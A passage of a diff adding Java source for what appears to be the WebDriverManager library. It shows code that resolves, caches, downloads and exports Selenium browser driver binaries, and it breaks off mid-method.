+    protected boolean mirrorLog;
+    protected boolean forcedArch;
+    protected boolean forcedOs;
+    protected boolean isSnap;
+    protected int retryCount = 0;
+    protected Config config = new Config();
+    protected Preferences preferences = new Preferences(config);
+    protected String preferenceKey;
+    protected Properties versionsProperties;
+
+    public static Config globalConfig() {
+        Config global = new Config();
+        global.setAvoidAutoReset(true);
+        for (DriverManagerType type : DriverManagerType.values()) {
+            WebDriverManager.getInstance(type).setConfig(global);
+        }
+        return global;
+    }
+
+    public Config config() {
+        return config;
+    }
+
+    public static synchronized WebDriverManager chromedriver() {
+        instanceMap.putIfAbsent(CHROME, new ChromeDriverManager());
+        return instanceMap.get(CHROME);
+    }
+
+    public static synchronized WebDriverManager chromiumdriver() {
+        instanceMap.putIfAbsent(CHROMIUM, new ChromiumDriverManager());
+        return instanceMap.get(CHROMIUM);
+    }
+
+    public static synchronized WebDriverManager firefoxdriver() {
+        instanceMap.putIfAbsent(FIREFOX, new FirefoxDriverManager());
+        return instanceMap.get(FIREFOX);
+    }
+
+    public static synchronized WebDriverManager operadriver() {
+        instanceMap.putIfAbsent(OPERA, new OperaDriverManager());
+        return instanceMap.get(OPERA);
+    }
+
+    public static synchronized WebDriverManager edgedriver() {
+        instanceMap.putIfAbsent(EDGE, new EdgeDriverManager());
+        return instanceMap.get(EDGE);
+    }
+
+    public static synchronized WebDriverManager iedriver() {
+        instanceMap.putIfAbsent(IEXPLORER, new InternetExplorerDriverManager());
+        return instanceMap.get(IEXPLORER);
+    }
+
+    public static synchronized WebDriverManager phantomjs() {
+        instanceMap.putIfAbsent(PHANTOMJS, new PhantomJsDriverManager());
+        return instanceMap.get(PHANTOMJS);
+    }
+
+    public static synchronized WebDriverManager seleniumServerStandalone() {
+        instanceMap.putIfAbsent(SELENIUM_SERVER_STANDALONE,
+                new SeleniumServerStandaloneManager());
+        return instanceMap.get(SELENIUM_SERVER_STANDALONE);
+    }
+
+    protected static synchronized WebDriverManager voiddriver() {
+        return new VoidDriverManager();
+    }
+
+    public static synchronized WebDriverManager getInstance(
+            DriverManagerType driverManagerType) {
+        if (driverManagerType == null) {
+            return voiddriver();
+        }
+        switch (driverManagerType) {
+        case CHROME:
+            return chromedriver();
+        case CHROMIUM:
+            return chromiumdriver();
+        case FIREFOX:
+            return firefoxdriver();
+        case OPERA:
+            return operadriver();
+        case IEXPLORER:
+            return iedriver();
+        case EDGE:
+            return edgedriver();
+        case PHANTOMJS:
+            return phantomjs();
+        case SELENIUM_SERVER_STANDALONE:
+            return seleniumServerStandalone();
+        default:
+            return voiddriver();
+        }
+    }
+
+    public static synchronized WebDriverManager getInstance(
+            Class<?> webDriverClass) {
+        switch (webDriverClass.getName()) {
+        case "org.openqa.selenium.chrome.ChromeDriver":
+            return chromedriver();
+        case "org.openqa.selenium.firefox.FirefoxDriver":
+            return firefoxdriver();
+        case "org.openqa.selenium.opera.OperaDriver":
+            return operadriver();
+        case "org.openqa.selenium.ie.InternetExplorerDriver":
+            return iedriver();
+        case "org.openqa.selenium.edge.EdgeDriver":
+            return edgedriver();
+        case "org.openqa.selenium.phantomjs.PhantomJSDriver":
+            return phantomjs();
+        default:
+            return voiddriver();
+        }
+    }
+
+    public synchronized void setup() {
+        DriverManagerType driverManagerType = getDriverManagerType();
+        if (driverManagerType != null) {
+            try {
+                if (config().getClearPreferences()) {
+                    clearPreferences();
+                }
+                String driverVersion = getDriverVersion();
+                manage(driverVersion);
+            } finally {
+                if (!config().isAvoidAutoReset()) {
+                    reset();
+                }
+            }
+        }
+    }
+
+    protected void manage(String driverVersion) {
+        httpClient = new HttpClient(config());
+        try (HttpClient wdmHttpClient = httpClient) {
+            downloader = new Downloader(getDriverManagerType());
+            urlFilter = new UrlFilter();
+
+            if (isUnknown(driverVersion)) {
+                preferenceKey = getDriverManagerType().getNameInLowerCase();
+                Optional<String> browserVersion = empty();
+                if (usePreferences()
+                        && preferences.checkKeyInPreferences(preferenceKey)) {
+                    browserVersion = Optional.of(
+                            preferences.getValueFromPreferences(preferenceKey));
+                }
+                if (!browserVersion.isPresent()) {
+                    browserVersion = detectBrowserVersion();
+                }
+
+                if (browserVersion.isPresent()) {
+                    // Calculate driverVersion using browserVersion
+                    preferenceKey = getDriverManagerType().getNameInLowerCase()
+                            + browserVersion.get();
+                    if (usePreferences() && preferences
+                            .checkKeyInPreferences(preferenceKey)) {
+                        driverVersion = preferences
+                                .getValueFromPreferences(preferenceKey);
+                    }
+                    if (isUnknown(driverVersion)) {
+                        Optional<String> driverVersionFromRepository = getDriverVersionFromRepository(
+                                browserVersion);
+                        if (driverVersionFromRepository.isPresent()) {
+                            driverVersion = driverVersionFromRepository.get();
+                        }
+                    }
+                    if (isUnknown(driverVersion)) {
+                        Optional<String> driverVersionFromProperties = getDriverVersionFromProperties(
+                                preferenceKey);
+                        if (driverVersionFromProperties.isPresent()) {
+                            driverVersion = driverVersionFromProperties.get();
+                        }
+                    } else {
+                        log.info(
+                                "Using {} {} (since {} {} is installed in your machine)",
+                                getDriverName(), driverVersion,
+                                getDriverManagerType(), browserVersion.get());
+                    }
+                    if (usePreferences()) {
+                        preferences.putValueInPreferencesIfEmpty(
+                                getDriverManagerType().getNameInLowerCase(),
+                                browserVersion.get());
+                        preferences.putValueInPreferencesIfEmpty(preferenceKey,
+                                driverVersion);
+                    }
+                    if (isUnknown(driverVersion)) {
+                        log.debug(
+                                "The driver version for {} {} is unknown ... trying with latest",
+                                getDriverManagerType(), browserVersion.get());
+                    }
+                }
+
+                // if driverVersion is still unknown, try with latest
+                if (isUnknown(driverVersion)) {
+                    Optional<String> latestDriverVersionFromRepository = getLatestDriverVersionFromRepository();
+                    if (latestDriverVersionFromRepository.isPresent()) {
+                        driverVersion = latestDriverVersionFromRepository.get();
+                    }
+                }
+
+            }
+
+            downloadAndExport(driverVersion);
+
+        } catch (Exception e) {
+            handleException(e, driverVersion);
+        }
+    }
+
+    public WebDriverManager version(String version) {
+        setDriverVersion(version);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager architecture(Architecture architecture) {
+        config().setArchitecture(architecture);
+        forcedArch = true;
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager arch32() {
+        architecture(X32);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager arch64() {
+        architecture(X64);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager operatingSystem(OperatingSystem os) {
+        config().setOs(os.name());
+        forcedOs = true;
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager forceCache() {
+        config().setForceCache(true);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager forceDownload() {
+        config().setOverride(true);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager driverRepositoryUrl(URL url) {
+        setDriverUrl(url);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager useMirror() {
+        Optional<URL> mirrorUrl = getMirrorUrl();
+        if (!mirrorUrl.isPresent()) {
+            throw new WebDriverManagerException("Mirror URL not available");
+        }
+        config().setUseMirror(true);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager proxy(String proxy) {
+        config().setProxy(proxy);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager proxyUser(String proxyUser) {
+        config().setProxyUser(proxyUser);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager proxyPass(String proxyPass) {
+        config().setProxyPass(proxyPass);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager useBetaVersions() {
+        config().setUseBetaVersions(true);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager ignoreVersions(String... versions) {
+        config().setIgnoreVersions(versions);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager gitHubTokenSecret(String gitHubTokenSecret) {
+        config().setGitHubTokenSecret(gitHubTokenSecret);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager gitHubTokenName(String gitHubTokenName) {
+        config().setGitHubTokenName(gitHubTokenName);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager localRepositoryUser(String localRepositoryUser) {
+        config().setLocalRepositoryUser(localRepositoryUser);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager localRepositoryPassword(
+            String localRepositoryPassword) {
+        config().setLocalRepositoryPassword(localRepositoryPassword);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager timeout(int timeout) {
+        config().setTimeout(timeout);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager properties(String properties) {
+        config().setProperties(properties);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager targetPath(String targetPath) {
+        config().setTargetPath(targetPath);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager avoidExport() {
+        config().setAvoidExport(true);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager avoidOutputTree() {
+        config().setAvoidOutputTree(true);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager avoidAutoVersion() {
+        config().setAvoidAutoVersion(true);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager avoidPreferences() {
+        config().setAvoidPreferences(true);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager ttl(int seconds) {
+        config().setTtl(seconds);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager browserPath(String browserPath) {
+        config().setBinaryPath(browserPath);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager useLocalVersionsPropertiesFirst() {
+        config().setVersionsPropertiesOnlineFirst(false);
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    public WebDriverManager clearPreferences() {
+        instanceMap.get(getDriverManagerType()).preferences.clear();
+        return instanceMap.get(getDriverManagerType());
+    }
+
+    // ------------
+
+    public String getBinaryPath() {
+        return instanceMap.get(getDriverManagerType()).binaryPath;
+    }
+
+    public String getDownloadedVersion() {
+        return instanceMap.get(getDriverManagerType()).downloadedVersion;
+    }
+
+    public List<String> getVersions() {
+        httpClient = new HttpClient(config());
+        try {
+            List<URL> drivers = getDrivers();
+            List<String> versions = new ArrayList<>();
+            for (URL url : drivers) {
+                String version = getCurrentVersion(url);
+                if (version.isEmpty() || version.equalsIgnoreCase("icons")) {
+                    continue;
+                }
+                if (!versions.contains(version)) {
+                    versions.add(version);
+                }
+            }
+            log.trace("Version list before sorting {}", versions);
+            sort(versions, new VersionComparator());
+            return versions;
+        } catch (IOException e) {
+            throw new WebDriverManagerException(e);
+        }
+    }
+
+    public void clearCache() {
+        String targetPath = config().getTargetPath();
+        try {
+            log.debug("Clearing cache at {}", targetPath);
+            deleteDirectory(new File(targetPath));
+        } catch (Exception e) {
+            log.warn("Exception deleting cache at {}", targetPath, e);
+        }
+    }
+
+    // ------------
+
+    protected String preDownload(String target, String version) {
+        log.trace("Pre-download. target={}, version={}", target, version);
+        return target;
+    }
+
+    protected File postDownload(File archive) {
+        File parentFolder = archive.getParentFile();
+        File[] ls = parentFolder.listFiles();
+        for (File f : ls) {
+            if (getDriverName().contains(removeExtension(f.getName()))) {
+                log.trace("Found binary in post-download: {}", f);
+                return f;
+            }
+        }
+        throw new WebDriverManagerException("Driver " + getDriverName()
+                + " not found (using temporal folder " + parentFolder + ")");
+    }
+
+    protected String getCurrentVersion(URL url) {
+        String currentVersion = "";
+        String pattern = "/([^/]*?)/[^/]*?" + getShortDriverName();
+        Matcher matcher = compile(pattern, CASE_INSENSITIVE)
+                .matcher(url.getFile());
+        boolean find = matcher.find();
+        if (find) {
+            currentVersion = matcher.group(1);
+        } else {
+            log.trace("Version not found in URL {}", url);
+        }
+        return currentVersion;
+    }
+
+    private void downloadAndExport(String driverVersion) throws IOException {
+        Optional<String> driverInCache = searchDriverInCache(driverVersion);
+        String versionStr = isUnknown(driverVersion) ? "(latest version)"
+                : driverVersion;
+
+        if (driverInCache.isPresent() && !config().isOverride()) {
+            storeVersionToDownload(driverVersion);
+            downloadedVersion = driverVersion;
+            log.debug("Driver {} {} found in cache", getDriverName(),
+                    versionStr);
+            exportDriver(driverInCache.get());
+        } else {
+            List<URL> candidateUrls = getCandidateUrls(driverVersion);
+            if (candidateUrls.isEmpty()) {
+                Architecture arch = config().getArchitecture();
+                String os = config().getOs();
+                String errorMessage = getDriverName() + " " + versionStr
+                        + " for " + os + arch.toString() + " not found in "
+                        + getDriverUrl();
+                log.error(errorMessage);
+                throw new WebDriverManagerException(errorMessage);
+            }
+
+            // Download first candidate URL
+            URL url = candidateUrls.iterator().next();
+            String exportValue = downloader.download(url, versionToDownload,
+                    getDriverName());
+            exportDriver(exportValue);
+            downloadedVersion = versionToDownload;
+        }
+    }
+
+    private Optional<String> detectBrowserVersion() {
+        if (config().isAvoidAutoVersion()) {
+            return empty();
+        }
+
+        String driverManagerTypeLowerCase = getDriverManagerType().name()
+                .toLowerCase();
+        Optional<String> browserVersion;
+        if (usePreferences() && preferences
+                .checkKeyInPreferences(driverManagerTypeLowerCase)) {
+            browserVersion = Optional.of(preferences
+                    .getValueFromPreferences(driverManagerTypeLowerCase));
+
+            log.trace("Detected {} version {}", getDriverManagerType(),
+                    browserVersion);
+        } else {
+            browserVersion = getBrowserVersion();
+        }
+        return browserVersion;
+    }
+
+    private boolean usePreferences() {
+        boolean usePrefs = !config().isAvoidPreferences()
+                && !config().isOverride() && !forcedArch && !forcedOs;
+        return usePrefs;
+    }
+
+    private boolean isUnknown(String driverVersion) {
+        return isNullOrEmpty(driverVersion)
+                || driverVersion.equalsIgnoreCase("latest");
+    }
+
+    private Optional<String> getDriverVersionFromProperties(String key) {
+        boolean online = config().getVersionsPropertiesOnlineFirst();
+        String onlineMessage = online ? ONLINE : LOCAL;
+        log.debug("Getting driver version for {} from {} versions.properties",
+                key, onlineMessage);
+        String value = getVersionFromProperties(online).getProperty(key);
+        if (value == null) {
+            String notOnlineMessage = online ? LOCAL : ONLINE;
+            log.debug(
+                    "Driver for {} not found in {} properties (using {} version)",
+                    key, onlineMessage, notOnlineMessage);
+            versionsProperties = null;
+            value = getVersionFromProperties(!online).getProperty(key);
+        }
+        return value == null ? empty() : Optional.of(value);
+    }
+
+    private Properties getVersionFromProperties(boolean online) {
+        if (versionsProperties != null) {
+            log.trace("Already created versions.properties");
+            return versionsProperties;
+        } else {
+            try (InputStream inputStream = getVersionsInputStream(online)) {
+                versionsProperties = new Properties();
+                versionsProperties.load(inputStream);
+            } catch (Exception e) {
+                versionsProperties = null;
+                throw new IllegalStateException(
+                        "Cannot read versions.properties", e);
+            }
+            return versionsProperties;
+        }
+    }
+
+    private InputStream getVersionsInputStream(boolean online)
+            throws IOException {
+        String onlineMessage = online ? ONLINE : LOCAL;
+        log.trace("Reading {} version.properties to find out driver version",
+                onlineMessage);
+        InputStream inputStream;
+        try {
+            if (online) {
+                inputStream = getOnlineVersionsInputStream();
+            } else {
+                inputStream = getLocalVersionsInputStream();
+            }
+        } catch (Exception e) {
+            String exceptionMessage = online ? LOCAL : ONLINE;
+            log.warn("Error reading version.properties, using {} instead",
+                    exceptionMessage);
+            if (online) {
+                inputStream = getLocalVersionsInputStream();
+            } else {
+                inputStream = getOnlineVersionsInputStream();
+            }
+        }
+        return inputStream;
+    }
+
+    private InputStream getLocalVersionsInputStream() {
+        InputStream inputStream;
+        inputStream = Config.class.getResourceAsStream("/versions.properties");
+        return inputStream;
+    }
+
+    private InputStream getOnlineVersionsInputStream() throws IOException {
+        return httpClient
+                .execute(httpClient
+                        .createHttpGet(config().getVersionsPropertiesUrl()))
+                .getEntity().getContent();
+    }
+
+    protected void handleException(Exception e, String version) {
+        String versionStr = isNullOrEmpty(version) ? "(latest version)"
+                : version;
+        String errorMessage = String.format(
+                "There was an error managing %s %s (%s)", getDriverName(),
+                versionStr, e.getMessage());
+        if (!config().isForceCache() && retryCount == 0) {
+            config().setForceCache(true);
+            config().setUseMirror(true);
+            retryCount++;
+            log.warn("{} ... trying again using mirror", errorMessage);
+            manage(version);
+        } else if (retryCount == 1) {
+            config().setAvoidAutoVersion(true);
+            version = "";
+            retryCount++;
+            log.warn("{} ... trying again using latest from cache",
+                    errorMessage);
+            manage(version);
+        } else {
+            log.error("{}", errorMessage, e);
+            throw new WebDriverManagerException(e);
+        }
+    }
+
+    protected List<URL> getCandidateUrls(String driverVersion)
+            throws IOException {
+        List<URL> urls = getDrivers();
+        List<URL> candidateUrls;
+        log.trace("All URLs: {}", urls);
+        boolean getLatest = isUnknown(driverVersion);
+        Architecture arch = config().getArchitecture();
+        boolean continueSearchingVersion;
+
+        do {
+            // Get the latest or concrete version
+            String filterName = getShortDriverName();
+            candidateUrls = getLatest ? checkLatest(urls, filterName)
+                    : getVersion(urls, filterName, driverVersion);
+            log.trace("Candidate URLs: {}", candidateUrls);
+            if (versionToDownload == null) {
+                break;
+            }
+
+            // Filter by OS
+            if (!getDriverName().equalsIgnoreCase("IEDriverServer")
+                    && !getDriverName()
+                            .equalsIgnoreCase("selenium-server-standalone")) {
+                candidateUrls = urlFilter.filterByOs(candidateUrls,
+                        config().getOs());
+            }
+
+            // Filter by architecture
+            candidateUrls = urlFilter.filterByArch(candidateUrls, arch,
+                    forcedArch);
+
+            // Filter by distro
+            candidateUrls = filterByDistro(candidateUrls);
+
+            // Filter by ignored versions
+            candidateUrls = filterByIgnoredVersions(candidateUrls);
+
+            // Filter by beta
+            candidateUrls = urlFilter.filterByBeta(candidateUrls,
+                    config().isUseBetaVersions());
+
+            // Find out if driver version has been found or not
+            continueSearchingVersion = candidateUrls.isEmpty() && getLatest;
+            if (continueSearchingVersion) {
+                log.info(
+                        "No binary found for {} {} ... seeking another version",
+                        getDriverName(), versionToDownload);
+                urls = removeFromList(urls, versionToDownload);
+                versionToDownload = null;
+            }
+        } while (continueSearchingVersion);
+        return candidateUrls;
+    }
+
+    protected List<URL> filterByIgnoredVersions(List<URL> candidateUrls) {
+        if (config().getIgnoreVersions() != null && !candidateUrls.isEmpty()) {
+            candidateUrls = urlFilter.filterByIgnoredVersions(candidateUrls,
+                    config().getIgnoreVersions());
+        }
+        return candidateUrls;
+    }
+
+    protected List<URL> filterByDistro(List<URL> candidateUrls)
+            throws IOException {
+        // Filter phantomjs 2.5.0 in Linux
+        if (config().getOs().equalsIgnoreCase("linux")
+                && getDriverName().contains("phantomjs")) {
+            candidateUrls = urlFilter.filterByDistro(candidateUrls, "2.5.0");
+        }
+        return candidateUrls;
+    }
+
+    protected Optional<String> searchDriverInCache(String driverVersion) {
+        Optional<String> driverInCache = empty();
+        boolean getLatest = isUnknown(driverVersion);
+        boolean cache = config().isForceCache();
+
+        if (cache || !getLatest) {
+            driverInCache = getDriverFromCache(driverVersion);
+        }
+        storeVersionToDownload(driverVersion);
+        return driverInCache;
+    }
+
+    protected Optional<String> getDriverFromCache(String driverVersion) {
+        log.trace("Checking if {} exists in cache", getDriverName());
+        Architecture arch = config().getArchitecture();
+        String os = config().getOs();
+        List<File> filesInCache = getFilesInCache();
+        if (!filesInCache.isEmpty()) {
+            // Filter by name
+            filesInCache = filterCacheBy(filesInCache, getDriverName(), false);
+
+            // Filter by version
+            filesInCache = filterCacheBy(filesInCache, driverVersion, true);
+
+            // Filter by OS
+            filesInCache = filterCacheBy(filesInCache, os, false);
+
+            if (filesInCache.size() == 1) {
+                return Optional.of(filesInCache.get(0).toString());
+            }
+
+            // Filter by arch
+            if (IS_OS_WINDOWS && (getDriverManagerType() == CHROME
+                    || getDriverManagerType() == CHROMIUM)) {
+                log.trace(
+                        "Avoid filtering for architecture {} with {} in Windows",
+                        arch, getDriverName());
+            } else {
+                filesInCache = filterCacheBy(filesInCache, arch.toString(),
+                        false);
+            }
+
+            if (!filesInCache.isEmpty()) {
+                return Optional.of(
+                        filesInCache.get(filesInCache.size() - 1).toString());
+            }
+        }
+
+        log.trace("{} not found in cache", getDriverName());
+        return empty();
+    }
+
+    protected List<File> filterCacheBy(List<File> input, String key,
+            boolean isVersion) {
+        String pathSeparator = isVersion ? separator : "";
+        List<File> output = new ArrayList<>(input);
+        if (!key.isEmpty() && !input.isEmpty()) {
+            String keyInLowerCase = key.toLowerCase();
+            for (File f : input) {
+                if (!f.toString().toLowerCase()
+                        .contains(pathSeparator + keyInLowerCase)) {
+                    output.remove(f);
+                }
+            }
+        }
+        log.trace("Filter cache by {} -- input list {} -- output list {} ", key,
+                input, output);
+        return output;
+    }
+
+    protected List<File> getFilesInCache() {
+        List<File> listFiles = (List<File>) listFiles(
+                new File(downloader.getTargetPath()), null, true);
+        sort(listFiles);
+        return listFiles;
+    }
+
+    protected List<URL> removeFromList(List<URL> list, String version) {
+        List<URL> out = new ArrayList<>(list);
+        for (URL url : list) {
+            if (url.getFile().contains(version)) {
+                out.remove(url);
+            }
+        }
+        return out;
+    }
+
+    protected List<URL> getVersion(List<URL> list, String driver,
+            String version) {
+        List<URL> out = new ArrayList<>();
+        for (URL url : list) {
+            if (url.getFile().contains(driver)
+                    && url.getFile().contains(version)
+                    && !url.getFile().contains("-symbols")) {
+                out.add(url);
+            }
+        }
+
+        if (versionToDownload != null && !versionToDownload.equals(version)) {
+            versionToDownload = version;
+            log.info("Using {} {}", driver, version);
+        }
+        return out;
+    }
+
+    protected List<URL> checkLatest(List<URL> list, String driver) {
+        log.trace("Checking the lastest version of {} with URL list {}", driver,
+                list);
+        List<URL> out = new ArrayList<>();
+        List<URL> copyOfList = new ArrayList<>(list);
+
+        for (URL url : copyOfList) {
+            try {
+                if (!config().isUseBetaVersions()
+                        && (url.getFile().toLowerCase().contains(BETA))) {
+                    continue;
+                }
+                if (url.getFile().contains(driver)) {
+                    String currentVersion = getCurrentVersion(url);
+
+                    if (currentVersion.equalsIgnoreCase(driver)) {
+                        continue;
+                    }
+                    if (versionToDownload == null) {
+                        versionToDownload = currentVersion;
+                    }
+                    if (versionCompare(currentVersion, versionToDownload) > 0) {
+                        versionToDownload = currentVersion;
+                        out.clear();
+                    }
+                    if (url.getFile().contains(versionToDownload)) {
+                        out.add(url);
+                    }
+                }
+            } catch (Exception e) {
+                log.trace("There was a problem with URL {} : {}", url,
+                        e.getMessage());
+                e.printStackTrace();
+                list.remove(url);
+            }
+        }
+        storeVersionToDownload(versionToDownload);
+        log.info("Latest version of {} is {}", driver, versionToDownload);
+        return out;
+    }
+
+    protected Integer versionCompare(String str1, String str2) {
+        String[] vals1 = str1.replace("v", "").replace("-beta", "")
+                .split("\\.");
+        String[] vals2 = str2.replace("v", "").replace("-beta", "")
+                .split("\\.");
+
+        if (vals1[0].equals("")) {
+            vals1[0] = "0";
+        }
+        if (vals2[0].equals("")) {
+            vals2[0] = "0";
+        }
+
+        int i = 0;
+        while (i < vals1.length && i < vals2.length
+                && vals1[i].equals(vals2[i])) {
+            i++;
+        }
+
+        if (i < vals1.length && i < vals2.length) {
+            return signum(valueOf(vals1[i]).compareTo(valueOf(vals2[i])));
+        } else {
+            return signum(vals1.length - vals2.length);
+        }
+    }
+
+    /**
+     * This method works also for http://npm.taobao.org/ and
+     * https://bitbucket.org/ mirrors.
+     */
+    protected List<URL> getDriversFromMirror(URL driverUrl) throws IOException {
+        if (mirrorLog) {
+            log.info("Crawling driver list from mirror {}", driverUrl);
+            mirrorLog = true;
+        } else {
+            log.trace("[Recursive call] Crawling driver list from mirror {}",
+                    driverUrl);
+        }
+
+        String driverStr = driverUrl.toString();
+        String driverOrigin = String.format("%s://%s", driverUrl.getProtocol(),
+                driverUrl.getAuthority());
+
+        try (CloseableHttpResponse response = httpClient
+                .execute(httpClient.createHttpGet(driverUrl))) {
+            InputStream in = response.getEntity().getContent();
+            org.jsoup.nodes.Document doc = Jsoup.parse(in, null, driverStr);
+            Iterator<org.jsoup.nodes.Element> iterator = doc.select("a")
+                    .iterator();
+            List<URL> urlList = new ArrayList<>();
+
+            while (iterator.hasNext()) {
+                String link = iterator.next().attr("abs:href");
+                if (link.startsWith(driverStr) && link.endsWith(SLASH)) {
+                    urlList.addAll(getDriversFromMirror(new URL(link)));
+                } else if (link.startsWith(driverOrigin)
+                        && !link.contains("icons")
+                        && (link.toLowerCase().endsWith(".bz2")
+                                || link.toLowerCase().endsWith(".zip")
+                                || link.toLowerCase().endsWith(".gz"))) {
+                    urlList.add(new URL(link));
+                }
+            }
+            return urlList;
+        }
+    }
+
+    protected List<URL> getDriversFromXml(URL driverUrl, String xpath)
+            throws IOException {
+        log.info("Reading {} to seek {}", driverUrl, getDriverName());
+        List<URL> urls = new ArrayList<>();
+        try {
+            try (CloseableHttpResponse response = httpClient
+                    .execute(httpClient.createHttpGet(driverUrl))) {
+                Document xml = loadXML(response.getEntity().getContent());
+                NodeList nodes = (NodeList) newInstance().newXPath()
+                        .evaluate(xpath, xml.getDocumentElement(), NODESET);
+
+                for (int i = 0; i < nodes.getLength(); ++i) {
+                    Element e = (Element) nodes.item(i);
+                    urls.add(new URL(driverUrl.toURI().resolve(".")
+                            + e.getChildNodes().item(0).getNodeValue()));
+                }
+            }
+        } catch (Exception e) {
+            throw new WebDriverManagerException(e);
+        }
+        return urls;
+    }
+
+    Document loadXML(InputStream inputStream)
+            throws SAXException, IOException, ParserConfigurationException {
+        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
+        DocumentBuilder builder = factory.newDocumentBuilder();
+        return builder.parse(new InputSource(
+                new ByteArrayInputStream(IOUtils.toByteArray(inputStream))));
+    }
+
+    protected void exportDriver(String variableValue) {
+        binaryPath = variableValue;
+        Optional<String> exportParameter = getExportParameter();
+        if (!config.isAvoidExport() && exportParameter.isPresent()) {
+            String variableName = exportParameter.get();
+            log.info("Exporting {} as {}", variableName, variableValue);
+            System.setProperty(variableName, variableValue);
+        } else {
+            log.info("Resulting binary {}", variableValue);
+        }
+    }
+
+    protected InputStream openGitHubConnection(URL driverUrl)
+            throws IOException {
+        HttpGet get = httpClient.createHttpGet(driverUrl);
+
+        String gitHubTokenName = config().getGitHubTokenName();
+        String gitHubTokenSecret = config().getGitHubTokenSecret();
+        if (!isNullOrEmpty(gitHubTokenName)
+                && !isNullOrEmpty(gitHubTokenSecret)) {
+            String userpass = gitHubTokenName + ":" + gitHubTokenSecret;
+            String basicAuth = "Basic "
+                    + new String(new Base64().encode(userpass.getBytes()));
+            get.addHeader("Authorization", basicAuth);
+        }
+
+        return httpClient.execute(get).getEntity().getContent();
+    }
+
+    protected List<URL> getDriversFromGitHub() throws IOException {
+        List<URL> urls;
+        URL driverUrl = getDriverUrl();
+        log.info("Reading {} to seek {}", driverUrl, getDriverName());
+
+        Optional<URL> mirrorUrl = getMirrorUrl();
+        if (mirrorUrl.isPresent() && config.isUseMirror()) {
+            urls = getDriversFromMirror(mirrorUrl.get());
+
+        } else {
+            String driverVersion = versionToDownload;
+
+            try (BufferedReader reader = new BufferedReader(
+                    new InputStreamReader(openGitHubConnection(driverUrl)))) {
+
+                GsonBuilder gsonBuilder = new GsonBuilder();
+                Gson gson = gsonBuilder.create();
+                GitHubApi[] releaseArray = gson.fromJson(reader,
+                        GitHubApi[].class);
+
+                if (driverVersion != null) {
+                    releaseArray = new GitHubApi[] {
+                            getVersion(releaseArray, driverVersion) };
+                }
+
+                urls = new ArrayList<>();
+                for (GitHubApi release : releaseArray) {
+                    if (release != null) {
+                        List<LinkedTreeMap<String, Object>> assets = release
+                                .getAssets();
+                        for (LinkedTreeMap<String, Object> asset : assets) {
+                            urls.add(new URL(asset.get("browser_download_url")
+                                    .toString()));
+                        }
+                    }
+                }
+            }
+        }
+        return urls;
+    }
+
+    protected GitHubApi getVersion(GitHubApi[] releaseArray, String version) {
+        GitHubApi out = null;
+        for (GitHubApi release : releaseArray) {
+            log.trace("Get version {} of {}", version, release);
+            if ((release.getName() != null
+                    && release.getName().contains(version))
+                    || (release.getTagName() != null
+                            && release.getTagName().contains(version))) {
+                out = release;
+                break;
+            }
+        }
+        return out;
+    }
+
+    protected HttpClient getHttpClient() {
+        return httpClient;
+    }
+
+    protected FilenameFilter getFolderFilter() {
+        return (dir, name) -> dir.isDirectory()
+                && name.toLowerCase().contains(getDriverName());
+    }
+
+    protected Optional<String> getDefaultBrowserVersion(
+            String[] programFilesEnvs, String[] winBrowserNames,
+            String linuxBrowserName, String macBrowserName, String versionFlag,
+            String browserNameInOutput) {
+
+        String browserBinaryPath = config().getBinaryPath();
+        if (IS_OS_WINDOWS) {
+            String winName = "";
+            for (int i = 0; i < programFilesEnvs.length; i++) {
+                winName = winBrowserNames.length > 1 ? winBrowserNames[0]
+                        : winBrowserNames[i];
+                String browserVersionOutput = getBrowserVersionInWindows(
+                        programFilesEnvs[i], winName, browserBinaryPath);
+                if (!isNullOrEmpty(browserVersionOutput)) {
+                    return Optional
+                            .of(getVersionFromWmicOutput(browserVersionOutput));
+                }
+            }
+        } else if (IS_OS_LINUX || IS_OS_MAC) {
+            String browserPath = getPosixBrowserPath(linuxBrowserName,
+                    macBrowserName, browserBinaryPath);
+            String browserVersionOutput = runAndWait(browserPath, versionFlag);
+            if (browserVersionOutput.toLowerCase().contains("snap")) {
+                isSnap = true;
+            }
+            if (!isNullOrEmpty(browserVersionOutput)) {
+                return Optional.of(getVersionFromPosixOutput(
+                        browserVersionOutput, browserNameInOutput));
+            }
+        }
+        return empty();
+    }
+
+    private String getPosixBrowserPath(String linuxBrowserName,
+            String macBrowserName, String browserBinaryPath) {
+        if (!isNullOrEmpty(browserBinaryPath)) {
+            return browserBinaryPath;
+        } else {
+            return IS_OS_LINUX ? linuxBrowserName : macBrowserName;
+        }
+    }
+
+    private String getBrowserVersionInWindows(String programFilesEnv,
